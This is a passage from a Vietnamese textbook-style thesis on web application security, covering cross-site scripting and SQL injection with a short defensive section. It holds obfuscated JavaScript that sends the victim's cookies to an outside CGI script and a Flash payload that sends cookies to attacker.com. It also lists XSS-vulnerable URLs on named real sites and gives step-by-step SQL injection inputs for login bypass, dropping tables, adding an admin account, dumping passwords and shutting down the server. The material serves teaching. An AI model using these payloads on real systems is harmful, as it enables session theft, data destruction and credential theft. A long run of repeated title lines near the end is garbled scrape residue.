u %2B= String.fromCharCode(0x0063);u %2B=
String.fromCharCode(0x006B);
u %2B= String.fromCharCode(0x0065);u %2B=
String.fromCharCode(0x0072);
u %2B= String.fromCharCode(0x002E);u %2B=
String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x006F);u %2B=
String.fromCharCode(0x006D);
u %2B= String.fromCharCode(0x002F);u %2B=
String.fromCharCode(0x0073);
u %2B= String.fromCharCode(0x0074);u %2B=
String.fromCharCode(0x0065);
u %2B= String.fromCharCode(0x0061);u %2B=
String.fromCharCode(0x006C);
u %2B= String.fromCharCode(0x002E);u %2B=
String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x0067);u %2B=
String.fromCharCode(0x0069);
u %2B= String.fromCharCode(0x003F);
u %2B=document.cookie;document.location.replace(u);</script>"
onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.ht
ml';return true"
onMouseOut="window.status='';return true">Một phần thưởng hấp dẫn đang chờ
bạn </a>
</body>
</html>
III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS
Tên công ty Domain Những liên kết bị khai thác
NBC http://www.shop http://www.shopnbc.com/listing.asp?qu=
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 51-
nbc.com <script>alert(document.cookie)</script>&frompa
ge=4
&page=1&ct=VVTV&mh=0&sh=0&RN=1
Microsoft http://www.micr
osoft.com/
http://www.microsoft.com/education/?ID=MCTN
&target=http://www.microsoft.com/education/?ID=
MCTN
&target=<script>alert(document.cookie)</script>
Chase https://www.cha
se.com/
https://www.chase.com/chase/gx.cgi/FTcs?pagenam
e=<script>alert(document.cookie)</script>
&urlname=smallbusiness/direct
EBay https://scgi.ebay.
co.uk/
https://scgi.ebay.co.uk/saw-
cgi/eBayISAPI.dll?SSLRegisterShow
&countryid=3&siteId=3&co_partnerId=0&UsingSS
L=1
&aolemail=<script>alert(document.cookie)
</script>
Oracle Japan http://www.orac
le.co.jp/
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/i
m_search_exe?
search_text=<script>alert(document.cookie)
</script>
IV. TẤN CÔNG XSS BẰNG FLASH
Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những
tập tin flash để đánh cắp thông tin.
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 52-
Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dụng
sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như
JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web khác, tham
số thường là một URL chẳng hạn như “http://www.yahoo.com”.
Ví dụ 5.IV-1:
getURL(“http://www.yahoo.com”)
Tuy nhiên có thể thay thế URL bằng JavaScript:
getURL(“javascript:alert(document.cookie)”)
Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa
tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn
JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách
tấn công này là:
Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:
getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do
cument.cookie)”)
Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức
cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 53-
Hình 5.IV-2: Cách viết Action Scipt trong Flash
Ví dụ 5.IV-2:
DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin
flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các
thành viên và cũng có thể là tài khoản của người quản trị web, bằng cách đăng kí làm
thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các nạn nhân
xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình
bày trong ví dụ 5.IV-2:
http://www.deviantart.com/deviation/1386080
Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn,
các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này,
bằng cách nhập đoạn mã gọi tập tin flash vào.
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s
wflash.cab#version=6,0,0,0"
WIDTH="60"
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 54-
HEIGHT="48"
id="1"
ALIGN="">
<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf">
<PARAM NAME=quality VALUE=high>
<PARAM NAME=bgcolor VALUE=#FF9900>
<EMBED src=" http://www.ke_tan_cong.com/vidu.swf"
quality=high
bgcolor=#FF9900
WIDTH="60"
HEIGHT="48"
NAME="1"
ALIGN=""
TYPE="application/x-shockwave-flash"
PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>
</OBJECT>
V. CÁCH PHÒNG CHỐNG
• Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web
cần phải thực hiện vài bước cơ bản sau:
o Tạo ra danh sách những thẻ HTML được phép sử dụng.
o Xóa bỏ thẻ <script>
o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related
nào.
o Lọc dấu nháy đơn hay kép
o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho
ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng
chuỗi đã kết thúc từ kí tự Null này).
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 55-
o Xóa những kí tự “ > ”, “ < ”
o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn
riêng.
• Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho
thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy
mà người dùng sẽ quyết định.
Nhận xét:
Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng
lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa đảo
mà hacker đưa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn
của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi
bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì
90% đã đạt được sự bảo mật trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn
công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từ đó
giành quyền quản trị ứng dụng.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 56-
Chương 6
CHÈN CÂU TRUY VẤN SQL
Nội dung:
I. Khái niệm SQL Injection
II. Giới thiệu mô hình cơ sở dữ liệu.
III. Các cách tấn công.
IV. Cách phòng chống .
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 57-
CHƯƠNG 6:
CHÈN CÂU TRUY VẤN SQL (SQL INJECTION)
I. KHÁI NIỆM SQL INJECTION
SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần
truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL Server mà nó
còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access hay
IBM DB2.
Khi hacker gửi những dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và
trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến
cơ sở dữ liệu. Và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ
liệu và từ đó có thể điều khiển toàn bộ hệ thống ứng dụng.
II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU
Để trình bày tốt hơn nội dung kĩ thuật này, luận văn sử dụng bảng User để minh họa
kĩ thuật tấn công.
Bảng User:
STT Tên trường Cài đặt vật
lí
Kiểu
trường
Kích
thước
Diễn giải
1 tkUsername Khóa chính Text 50 Mỗi người dùng có 1
account để đăng nhập.
2 tkPassword Text 50 Password để đăng
nhập
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 58-
Quy ước:
Ngôn ngữ lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu
là SQL Server.
III. CÁC CÁCH TẤN CÔNG
III.1. Kĩ thuật tấn công SQL Injection
Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form
đăng nhập.
Ví dụ 6.III.1-1: giả sử ứng dụng web có đoạn mã sau:
SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” &
strUsername & “’ AND Password= ‘” & tkPassword & “’”
flag= GetQueryResult (SQLQuery)
if flag = “” then
check=FALSE
else
check=TRUE
end if
Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng
User thì check=true ngược lại check=false.
Giá tri nhập vào là:
Username: ’ OR ‘’=’
Password: ’ OR ‘’=’
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 59-
Câu lệnh SQL lúc này như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND
Password= ‘’ OR ‘’=’’
Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện
trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên
trong bảng sẽ được chọn.
Kết hợp với kí tự đặc biệt của SQL :
• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn
• kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng
Ví dụ 6.III.1-2:
Username: ’; drop table User--
Password:
Câu lệnh SQL lúc này như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table
User-- AND Password= ‘” & tkPassword & “’”
Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn.
Ví dụ 6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ
thống như sau:
Username: admin’--
Password:
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 60-
Câu lệnh SQL như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND
Password= ‘” & tkPassword & “’”
Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi
hỏi password.
III.2. Tấn công dưa vào câu lệnh SELECT
Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi
để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều
này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù
hợp.
Khái niệm Direct Injection:
Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy
đơn hay dấu ngoặc kép là trường hợp direct injection. Ví dụ III.2.1
Ví dụ 6.III.2-1:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName
Khái niệm Quote Injection:
Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu
nháy đơn hay ngoặc kép là trường hợp Quote Injection. Ví dụ III.2.2
Ví dụ 6.III.2-2:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName &
“’”
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 61-
Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng,
chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn
vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and
‘’=’’”
Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong
chuỗi chèn vào phải có “)”:
Ví dụ 6.III.2-3: Giả sử:
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName
& “’”)
Thì cú pháp hợp lệ như sau:
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or
‘’=’’”
Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông
tin.
Ví dụ 6.III.2-4:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &
tName & “’”
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 62-
III.3. Tấn công dựa vào câu lệnh HAVING
HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu
hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 4.
III.4. Tấn công dựa vào câu lệnh kết hợp UNION
Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí
có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả
về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE
bằng cách chèn thêm UNION SELECT.
Ví dụ 6.III.4-1:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &
tName & “’UNION SELECT tkPassword from User”
Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với
tkPassword trong bảng User.
Ghi chú:
• Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột
trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng
nhau và cùng kiểu.
Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết
kiểu của mỗi trường.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 63-
Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa
vào HAVING, GROUP BY, UNION:
Ví dụ 6.III.4-2: Nhắc lại câu truy vấn cần để đăng nhập:
SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE
tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword
& “’”
Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu
điều kiện “having” , như ví dụ sau:
Giá trị nhập vào:
Username: ’having 1=1--
Lỗi phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'User.tkUsername' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP BY
clause.
Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User
và trong bảng tồn tại một trường tên là tkUsername.
Sau đó sử dụng GROUP BY:
Ví dụ 6.III.4-3:
Username: ‘group by User.tkUsername having 1=1--
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 64-
Lỗi phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Column'User.tkPassword'is invalid in the select list because it
is not contained in either an aggregate function or the GROUP BY
clause.
Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu truy
vấn.
Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng
User tham gia vào câu truy vấn.
Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm
tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng:
Ví dụ 6.III.4-4:
Username:’union select sum(tkUsername) from User
Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số.
Nếu đối số không là kiểu số thì phát sinh lỗi như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or
average aggregate operation cannot take a varchar data type as
an argument.
Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu
“varchar”.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 65-
Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng.
Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào
bảng User.
Ví dụ 6.III.4-5:
Username:’; insert into User(tkUsername,tkPassword) values
(‘admin’, ‘’)--
Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng
mà không cần mật khẩu để chứng thực.
Ví dụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong
bảng User:
• Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường
tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng
mới là foo có một trường là ret bằng đoạn mã sau:
create proc test
as
begin
declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+tkUsername+'/'+tkPassword from User
select @ret as ret into foo
end
Thực thi câu lệnh bằng cách nhập vào form.
Username:’;Create proc test as begin declare @ret
varchar(8000) set @ret=’:’ select @ret=@ret+'
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 66-
'+tkUsername+'/'+tkPassword from User select @ret as ret into
foo
• Bước 2: Gọi Stored procedure đó
Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm:
Username:’;exec test
• Bước 3: Dùng UNION để xem nội dung bảng foo
Username:’;select ret,1 from foo union select 1,1 from foo
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error convertingthe varchar value ':
admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu'
to a column of data type int.
Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên
tkUsername và mật khẩu tkPassword.
• Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết:
Username: ‘; drop table foo--
Ví dụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User,
còn một phương pháp tìm kiếm thông tin như sau:
• Bước 1:
Tìm tuần tự từng dòng trên bảng User
Username:’union select 1,1
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 67-
hoặc :
Username:’union select min(tkUsername),1 from User where
tkUsername> ’a’--
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value 'admin' to a column of data type
int.
Người đầu tiên trong bảng User là “admin”.
• Bước 2:
Để biết các giá trị tiếp theo, nhập chuỗi sau:
Username:’;select min(tkUsername),1 from User where
tkUsername> ’admin’union select 1,1 from User
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting
the varchar value 'nhimmap' to a column of data type int.
• Bước 3:
Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername
trong bảng User.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 68-
• Bước 4:
Để biết thêm về tkPasswork, có thể thực hiện như sau:
Username:’;select tkPassword,1 from User where tkUsername=
’admin’union select 1,1 from User
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting
the varchar value 'passOfAdmin' to a column of data type int.
Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến
bảng hệ thống INFORMATION_SCHEMA.TABLES.
Ví dụ 6.III.4-8:
select TABLE_NAME from INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên
server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='User'
Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng.
Ngoài ra còn có thể dùng UNION để biết các biến môi trường của SQL Server.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 69-
Ví dụ 6.III.4-9: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng
cách sau:
Username:’;select @@SERVERNAME union select 1
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'KHOAI_NGU' to a column of
data type int.
III.5. Tấn công dưa vào lệnh INSERT
Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu
lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử
dụng, guestbook…v..v…
Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm
bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu
không xác định được kiểu dữ liệu có thể nhập tất cả là số).
Ví dụ 6.III.5-1:
SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” &
strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 70-
III.6. Tấn công dưa vào STORED PROCEDURE
Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức
tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên
hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống.
Ví dụ 6.III.6-1: Stored procedure sp_login gồm hai tham số là username và
password. Nếu nhập:
Username: nhimmap
Password: ‘;shutdown--
Lệnh gọi stored procedure như sau:
exec sp_login ‘nhimmap’,‘’;shutdown--’
Lệnh shutdown thực hiện dừng SQL Server ngay lập tức.
III.7. Nâng cao
III.7.1. Chuỗi kí tự không có dấu nháy đơn:
Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả
dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2
dấu nháy.
Ví dụ 6.III.7.1-1:
Function escape (input)
Input=replace(input, “’”, “’’”)
escape=input
end function
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web
Bao mat ung_dung_web

More Related Content

What's hot

tìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậttìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mật
anhkhoa2222
 
Phát triển thuật toán tự triển khai cho hệ thống đa robot giám sát môi trường...
Phát triển thuật toán tự triển khai cho hệ thống đa robot giám sát môi trường...Phát triển thuật toán tự triển khai cho hệ thống đa robot giám sát môi trường...
Phát triển thuật toán tự triển khai cho hệ thống đa robot giám sát môi trường...
Man_Ebook
 
Tổng quan về nước tương lên men
Tổng quan về nước tương lên menTổng quan về nước tương lên men
Tổng quan về nước tương lên men
TÀI LIỆU NGÀNH MAY
 
Nghiên cứu thiết kế bộ quan sát và điều khiển nhiệt độ trong phôi theo mô hìn...
Nghiên cứu thiết kế bộ quan sát và điều khiển nhiệt độ trong phôi theo mô hìn...Nghiên cứu thiết kế bộ quan sát và điều khiển nhiệt độ trong phôi theo mô hìn...
Nghiên cứu thiết kế bộ quan sát và điều khiển nhiệt độ trong phôi theo mô hìn...
Man_Ebook
 
ĐIều khiển tốc độ động cơ không đồng bộ 3 pha dùng bộ điều khiển pid mờ lai​
ĐIều khiển tốc độ động cơ không đồng bộ 3 pha dùng bộ điều khiển pid mờ lai​ĐIều khiển tốc độ động cơ không đồng bộ 3 pha dùng bộ điều khiển pid mờ lai​
ĐIều khiển tốc độ động cơ không đồng bộ 3 pha dùng bộ điều khiển pid mờ lai​
Man_Ebook
 
Nghiên cứu điều chỉnh khoảng giãn cách sản phẩm trong các băng chuyền​
Nghiên cứu điều chỉnh khoảng giãn cách sản phẩm trong các băng chuyền​Nghiên cứu điều chỉnh khoảng giãn cách sản phẩm trong các băng chuyền​
Nghiên cứu điều chỉnh khoảng giãn cách sản phẩm trong các băng chuyền​
Man_Ebook
 
Thiết kế mạch đo nhiệt độ sử dụng board arduino, hiển thị trên 4 led 7 thanh ...
Thiết kế mạch đo nhiệt độ sử dụng board arduino, hiển thị trên 4 led 7 thanh ...Thiết kế mạch đo nhiệt độ sử dụng board arduino, hiển thị trên 4 led 7 thanh ...
Thiết kế mạch đo nhiệt độ sử dụng board arduino, hiển thị trên 4 led 7 thanh ...
Man_Ebook
 
Nhận dạng tham số trong hệ thống điều khiển số tốc độ động cơ một chiều
Nhận dạng tham số trong hệ thống điều khiển số tốc độ động cơ một chiềuNhận dạng tham số trong hệ thống điều khiển số tốc độ động cơ một chiều
Nhận dạng tham số trong hệ thống điều khiển số tốc độ động cơ một chiều
Man_Ebook
 
Bài giảng kiến trúc máy tính
Bài giảng kiến trúc máy tínhBài giảng kiến trúc máy tính
Bài giảng kiến trúc máy tínhCao Toa
 
Nghiên cứu phương pháp tổng hợp cảm biến dùng cho kỹ thuật dẫn đường các robo...
Nghiên cứu phương pháp tổng hợp cảm biến dùng cho kỹ thuật dẫn đường các robo...Nghiên cứu phương pháp tổng hợp cảm biến dùng cho kỹ thuật dẫn đường các robo...
Nghiên cứu phương pháp tổng hợp cảm biến dùng cho kỹ thuật dẫn đường các robo...
Man_Ebook
 
Thiết kế bộ điều khiển pid thích nghi nhờ suy luận mờ và ứng dụng cho hệ truy...
Thiết kế bộ điều khiển pid thích nghi nhờ suy luận mờ và ứng dụng cho hệ truy...Thiết kế bộ điều khiển pid thích nghi nhờ suy luận mờ và ứng dụng cho hệ truy...
Thiết kế bộ điều khiển pid thích nghi nhờ suy luận mờ và ứng dụng cho hệ truy...
Man_Ebook
 
Đồ án tốt nghiệp điện tử Nghiên cứu mạng IPWDM điểm cao - sdt/ ZALO 093 189 2701
Đồ án tốt nghiệp điện tử Nghiên cứu mạng IPWDM điểm cao - sdt/ ZALO 093 189 2701Đồ án tốt nghiệp điện tử Nghiên cứu mạng IPWDM điểm cao - sdt/ ZALO 093 189 2701
Đồ án tốt nghiệp điện tử Nghiên cứu mạng IPWDM điểm cao - sdt/ ZALO 093 189 2701
Viết thuê báo cáo thực tập giá rẻ
 
Nghiên cứu giải pháp nâng cao chất lượng đào tạo và phát triển nguồn nhân lực...
Nghiên cứu giải pháp nâng cao chất lượng đào tạo và phát triển nguồn nhân lực...Nghiên cứu giải pháp nâng cao chất lượng đào tạo và phát triển nguồn nhân lực...
Nghiên cứu giải pháp nâng cao chất lượng đào tạo và phát triển nguồn nhân lực...
Man_Ebook
 
Nghiên cứu và hướng dẫn sử dụng bộ công cụ quét lỗ hổng hệ thống trong mạng lan
Nghiên cứu và hướng dẫn sử dụng bộ công cụ quét lỗ hổng hệ thống trong mạng lanNghiên cứu và hướng dẫn sử dụng bộ công cụ quét lỗ hổng hệ thống trong mạng lan
Nghiên cứu và hướng dẫn sử dụng bộ công cụ quét lỗ hổng hệ thống trong mạng lan
leokidd
 
ĐIều khiển công suất của hệ thống tích hợp các nguồn năng lượng tái tạo nối lưới
ĐIều khiển công suất của hệ thống tích hợp các nguồn năng lượng tái tạo nối lướiĐIều khiển công suất của hệ thống tích hợp các nguồn năng lượng tái tạo nối lưới
ĐIều khiển công suất của hệ thống tích hợp các nguồn năng lượng tái tạo nối lưới
Man_Ebook
 
